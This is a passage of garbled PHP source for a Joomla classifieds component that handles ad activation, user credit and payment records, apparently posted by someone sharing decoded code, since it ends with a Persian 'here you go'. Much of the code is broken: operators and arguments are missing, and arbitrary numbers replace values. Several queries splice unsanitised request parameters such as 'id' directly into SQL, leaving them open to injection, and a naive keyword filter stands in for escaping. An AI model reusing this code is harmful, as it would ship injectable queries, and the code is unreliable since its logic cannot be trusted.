                return 
null;
            }


            
$this->setRedirect$_SERVER['HTTP_REFERER'] );
        }


        function 
showup() {
            global 
$option;
            global 
$niaz_config;
            global 
$my;


            
$db JFactory::getdbo(  );
            
$x JRequest::getvar'x' );
            
$id JRequest::getvar'id' );
            
$query 'SELECT * FROM #__niaz_prod WHERE fldID = ' $id ' AND published=0';
            
$db->setQuery$query );
            
$row $db->loadObject(  );


            if (!
count$row )) {
                return 
null;
            }


            
md5$id $row->fldDate 'P' );
            
$X = ;
            
md5$id $row->fldDate 'D' );
            
$Y = ;
            
JHTML::_'date''now''Y/m/d' );
            
$Date = ;
            
$query 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner;
            
$db->setQuery$query );
            
$fldTafavot $db->loadResult(  );
            
$query 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' $fldTafavot '  AND fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner;
            
$db->setQuery$query );
            
$db->Query(  );


            if (
$x  $X) {
                if (
intval$fldTafavot )) {
                    
$query 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' $fldTafavot '  WHERE fldUID=' $row->fldOwner;
                    
$db->setQuery$query );
                    
$db->Query(  );
                }


                
$A 'published=1,fldStartTime=NOW(),fldAdmin=' $my->id;


                if (( ( 
$row->fldPayMethod && $row->fldPay  ) && $row->fldMoney )) {
                    
$A 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' $my->id;
                }


                
$query 'UPDATE #__niaz_prod SET ' $A ' WHERE fldID=' $id;
                
$db->setQuery$query );


                if (
$db->Query(  )) {
                    if (( 
$row->fldPay != && $row->fldMoney )) {
                        
$query 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' $row->fldPName '\' AND fldPayMethod = \'' $row->fldPayMethod '\' AND fldOrderNumber = \'' $row->fldOrderNumber '\'';
                        
$db->setQuery$query );
                        
$fldFactor intval$db->loadResult(  ) );


                        if (!
$fldFactor) {
                            
$query 'SELECT MAX(fldFactor) FROM #__niaz_payment';
                            
$db->setQuery$query );
                            
$fldFactor intval$db->loadResult(  ) );
                        }


                        ++
$fldFactor;
                        
JText::_'ACCEPT_MODIR' );
                        
$fldDesc = ;
                        
$fldDescX $fldDesc;
                        
$fldCredit 736;


                        if (
intval$fldTafavot )) {
                            
$fldDescX $fldDesc '(' JText::sprintf'KASR_ETEBAR'Comma$fldTafavot ) . ' ' $niaz_config->fldCurrency ) . ')';
                            
$row += 'fldMoney';
                             = 
$fldTafavot;
                            
$fldCredit $fldTafavot;
                        }


                        
$query 'INSERT INTO #__niaz_payment VALUES(0,' $row->fldID ',\'' $row->fldPName '\',\'' $row->fldPayMethod '\',\'' $row->fldOrderNumber '\',' $row->fldMoney ',' $fldCredit ',' $row->fldOwner ',\'' $fldDescX '\',\'' $row->fldPayDate '\',' $fldFactor ')';
                        
$db->setQuery$query );
                        
$db->Query(  );
                    }


                    echo 
'<div><strong>' JText::_'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>';
                    
SendingMail3, array( 'fldID' => $row->fldID'fldEMAil' => $row->fldEMAil'fldStartTime' => $Date'fldPName' => $row->fldPName ) );
                    return 
null;
                }
            } 
else {
                if (
$x  $Y) {
                    
$query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $fldTafavot ',fldTafavot = fldTafavot - ' $fldTafavot ' WHERE fldUID = ' $row->fldOwner;
                    
$db->setQuery$query );
                    
$db->Query(  );
                    
$query 'SELECT MAX(fldFactor) FROM #__niaz_payment';
                    
$db->setQuery$query );
                    
$fldFactor intval$db->loadResult(  ) ) & 1;
                    
JText::_'REVERSE_CREDIT_2' );
                    
$fldDesc = ;
                    
$query 'INSERT INTO #__niaz_payment VALUES(0,' $id ',\'' $row->fldPName '\',\'return\',\'\',-' $fldTafavot ',0,' $row->fldOwner ',\'' $fldDesc '\',NOW(),' $fldFactor ');';
                    
$db->setQuery$query );
                    
$db->Query(  );
                    
$query 'DELETE FROM #__niaz_prod WHERE fldID=' $id;
                    
$db->setQuery$query );


                    if (
$db->Query(  )) {
                        echo 
'<div><strong>' JText::_'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>';
                        
NiazController::deletefolder'prod'$id );
                        
SendingMail5$row );
                    }
                }
            }


        }


        function 
DeleteFolder($table$id) {
            global 
$option;


            
jimport'joomla.filesystem.file' );
            
jimport'joomla.filesystem.folder' );
            
$destfolder JPATH_ROOT DS 'components' DS . ( '' $option ) . DS 'files' DS $table DS $id;


            if (
is_dir$destfolder )) {
                
JFolder::delete$destfolder );
            }


        }


        function 
ShowEdit() {
            global 
$option;
            global 
$niaz_config;


            if (!
strlen$niaz_config->fldField59 )) {
                return 
'';
            }


            
$U = ($niaz_config->fldField59 explode'*'$niaz_config->fldField59 ) : NULL);
            echo 
'        <table width="100%" id="adminlist" class="adminlist" border="1">
        <thead>
            <tr>
                <th>#</th>
                <th>'
;
            echo 
JText::_'NIAZ_EDIT_COUNT' );
            echo 
'</th>
                <th>'
;
            echo 
JText::_'NIAZ_ADMIN_FEE' );
            echo 
'(';
            echo 
$niaz_config->fldCurrency;
            echo 
')</th>
            </tr>
        </thead>
        <tbody>
        '
;
            
$it 360;
            
$x 360;


            while (
$x count$U )) {
                
$D explode':'$U[$x] );
                echo 
'        <tr class="';
                echo 
'row' . ++$it 2;
                echo 
'">
                <td>'
;
                echo 
$it;
                echo 
'</td>
                <td>'
;
                echo 
$D[0];
                echo 
'</td>
                <td>'
;
                echo (
$D[1] ? $D[1] : '<font class="red"><strong> ' JText::_'NIAZ_FREE' ) . ' </strong></font>');
                echo 
'</td>
        </tr>
        '
;
                ++
$x;
            }


            echo 
'        </tbody>
        </table>
        '
;
        }


        function 
MyQuestFarsi($str) {
            
$str str_replace'ي''ی'$str );
            
$str str_replace'ك''ک'$str );
            
$str str_replace'هٔ''ه‌ی'$str );
            
$str str_replace'\\'''$str );
            return 
$str;
        }


        function 
CleanSQL($where) {
            
$forbidden = array( 'UNION''SELECT''DELETE''ALTER''JOIN''DROP''TRUNCATE''UPDATE''CREATE' );
            foreach (
$forbidden as $v) {
                
$A strposstrtoupper$where ), $v );


                if (
$A) {
                    
$B substr$where$Astrlen$v ) );
                    
$where str_replace$B'XXXXX'$where );
                    continue;
                }
            }


            return 
$where;
        }


        function 
UpdateUseCredit($rows$paymethod$order_number$db) {
            global 
$my;


            
$query 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' $my->id;
            
$db->setQuery$query );
            
$rowx $db->loadObject(  );


            if (!
count$rowx )) {
                return 
null;
            }


            
$fldCredit $rowx->fldCredit;
            foreach (
$rows as $row) {
                
$fldTafavot $fldCredit;


                if (
$row->fldMoney $fldCredit) {
                    
$fldTafavot $row->fldMoney;
                }


                
$query 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner;
                
$db->setQuery$query );
                
$IsHere $db->loadResult(  );


                if (!
$IsHere) {
                    
$query 'UPDATE #__niaz_credit_users' . ( '
 SET fldTafavot = fldTafavot+' 
$fldTafavot ',fldCredit=fldCredit-' $fldTafavot ) . ( '
 WHERE fldUID = ' 
$my->id );
                    
$db->setQuery$query );
                    
$db->query(  );


                    if (
$fldTafavot) {
                        
$query 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' $fldTafavot ',' $row->fldID ',' $row->fldOwner ')';
                        
$db->setQuery$query );
                        
$db->Query(  );
                    }


                    
$query 'UPDATE #__niaz_prod' . ( '
 SET fldOrderNumber = \'' 
$order_number '\' , fldPayMethod = \'' $paymethod '\',fldTafavot = ' $fldTafavot ) . ( '
 WHERE fldID = ' 
$row->fldID ' AND fldPay!=1 ' );
                    
$db->setQuery$query );
                    
$db->query(  );
                }


                
$fldCredit += $row->fldMoney;


                if (
$fldCredit 0) {
                    
$fldCredit 432;
                    continue;
                }
            }


        }


        function 
ReverseUseCredit($row$db) {
            global 
$option;
            global 
$niaz_config;


            
$query 'DELETE FROM #__niaz_usecredit WHERE fldUID=' $row->fldOwner ' AND fldPID = ' $row->fldID;
            
$db->setQuery$query );
            
$db->Query(  );


            if (( ( 
is_null$row->fldStartTime ) && $row->fldMoney ) && $row->fldPay  )) {
                
$PName $row->fldPName;
                
$total $row->fldMoney;
                
$query 'SELECT MAX(fldFactor) FROM #__niaz_payment';
                
$db->setQuery$query );
                
$fldFactor intval$db->loadResult(  ) ) & 1;
                
$query 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' $total ',' $row->fldOwner ')';
                
$db->setQuery$query );


                if (!
$db->Query(  )) {
                    
$query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $total ',fldTafavot=IF(fldTafavot-' $total '>=0,fldTafavot-' $total ',fldTafavot) WHERE fldUID=' $row->fldOwner;
                    
$db->setQuery$query );
                    
$db->Query(  );
                }


                
$credit 519;


                if (
$row->fldPayMethod  'etebar') {
                    
$credit $total;
                }


                
$fldDesc JText::sprintf'REVERSE_CREDIT_3'$PName ) . '#::#' JText::sprintf'REVERSE_CREDIT_4'Comma$row->fldMoney ), $niaz_config->fldCurrency );
                
$query 'INSERT INTO #__niaz_payment VALUES(0,' $row->fldID ',\'' $PName '\',\'return\',\'\',-' $total ',' $credit ',' $row->fldOwner ',\'' $fldDesc '\',NOW(),' $fldFactor ');';
                
$db->setQuery$query );
                
$db->Query(  );
            } 
else {
                if (( 
is_null$row->fldStartTime ) && $row->fldTafavot )) {
                    
$PName $row->fldPName;
                    
$total $row->fldTafavot;
                    
$query 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' $total ',' $row->fldOwner ')';
                    
$db->setQuery$query );


                    if (!
$db->Query(  )) {
                        
$query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $total ',fldTafavot=IF(fldTafavot-' $total '>=0,fldTafavot-' $total ',fldTafavot) WHERE fldUID=' $row->fldOwner;
                        
$db->setQuery$query );
                        
$db->Query(  );
                    }
                }
            }


            
$query 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' $row->fldID;
            
$db->setQuery$query );
            
$db->Query(  );
        }


        function 
LoadUserStyle($type$file) {
            global 
$option;


            
$no_html JRequest::getvar'no_html');


            if (
$no_html) {
                return 
null;
            }


            
$tmpl JRequest::getvar'tmpl''' );


            if (
$tmpl  'component') {
                
$no_html 395;
            }


            switch (
$no_html) {
                case 
0: {
                    
$document JFactory::getdocument(  );
                    switch (
$type) {
                        case 
'js': {
                            
$js JURI::base(  ) . ( 'components/' $option '/js/' $file );
                            
$document->addScript$js );
                            break;
                        }


                        case 
'css': {
                            
$css JURI::base(  ) . ( 'components/' $option '/css/' $file );
                            
$document->addStyleSheet$css );
                        }
                    }


                    break;
                }


                case 
1: {
                    switch (
$type) {
                        case 
'js': {
                            
$js JURI::base(  ) . ( 'components/' $option '/js/' $file );
                            echo 
'<script src="' $js '" type="text/javascript"></script>';
                            break;
                        }


                        case 
'css': {
                            
$css JURI::base(  ) . ( 'components/' $option '/css/' $file );
                            echo 
'<link rel="stylesheet" href="' $css '" type="text/css" />';
                        }
                    }
                }
            }


        }


        function 
SaveCookie($content '') {
            global 
$option;
            global 
$mainframe;


            
$content &= '
'
;


            if (
is_dirJPATH_SITE DS 'mytemp' )) {
                
$f fopenJPATH_SITE DS 'mytemp' DS 'SQL_' date'Y-m-d-H-i' ) . '.txt''a+' );
                
fwrite$f$contentstrlen$content ) );
                
fclose$f );
            }


        }


        function 
LoadCurrentCredit() {
            echo 
LoadCredit(  );
        }
    }


?>
بفرمایید